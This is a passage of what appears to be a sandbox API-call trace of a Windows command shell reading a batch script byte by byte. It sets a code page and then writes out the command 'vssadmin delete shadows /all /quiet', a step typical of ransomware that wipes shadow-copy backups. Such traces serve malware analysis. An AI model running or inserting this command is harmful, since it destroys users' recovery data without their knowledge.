hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f6b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20f6b8*=0x26, lpOverlapped=0x0) returned 1 [0201.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] GetFileType (hFile=0xe8) returned 0x3 [0201.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0201.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0201.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0201.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0201.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0201.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0201.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0201.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0201.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0201.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0201.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0201.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.835] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.835] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0201.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.835] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.835] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0201.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.835] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.835] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0201.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.835] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.835] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0201.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0201.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0201.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0201.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0201.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0201.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0201.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0201.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0201.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0201.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0201.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0201.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0201.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.838] GetFileType (hFile=0xe8) returned 0x3 [0201.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0201.839] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.839] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.839] GetFileType (hFile=0xf4) returned 0x3 [0201.839] _get_osfhandle (_FileHandle=1) returned 0xf4 [0201.839] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0201.839] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20f998, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, 